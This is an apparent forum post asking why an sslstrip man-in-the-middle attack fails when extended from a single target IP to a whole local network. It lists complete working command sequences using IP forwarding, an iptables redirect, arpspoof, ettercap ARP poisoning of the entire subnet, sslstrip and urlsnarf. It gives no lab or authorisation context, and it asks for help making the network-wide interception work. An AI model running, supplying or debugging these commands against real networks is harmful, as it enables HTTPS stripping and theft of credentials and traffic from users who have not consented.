Hi
I was always able to do a mitm attack targetting a specific IP and using sslstrip, ettercap, arpspoof, ...
But today I tried (for the first time) to do the whole network at once and it was like sslstrip wasn't doing anything. No errors whatsoever and yet all I could see was the usual "sslstrip 0.9 by Moxie Marlinspike" and then nothing.
When I target one computer I usually do something like:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 sslstrip -a -k -f arpspoof -i wlan0 -t <targetIP> -r <gatewayIP> ettercap -Tq -L etterlogs -i wlan0 urlsnarf -v -i wlan0
and it works. To do the whole network I tried the same only replacing the <targetIP> by the Bcast (ie 192.168.1.255). I think one time it said "couldn't arp for ..."
So then I tried method 2:
echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000 ettercap -T -q -i wlan0 -M ARP:REMOTE // // sslstrip -a -l 10000 urlsnarf -i wlan0
It ran I think but nothing happened and I couldn't see the traffic.
What am I doing wrong? I'm not very experienced at this and if anyone knows a better way to do an sslstrip on the whole network I'd be grateful. I have the latest version of Kali btw.
Cheers
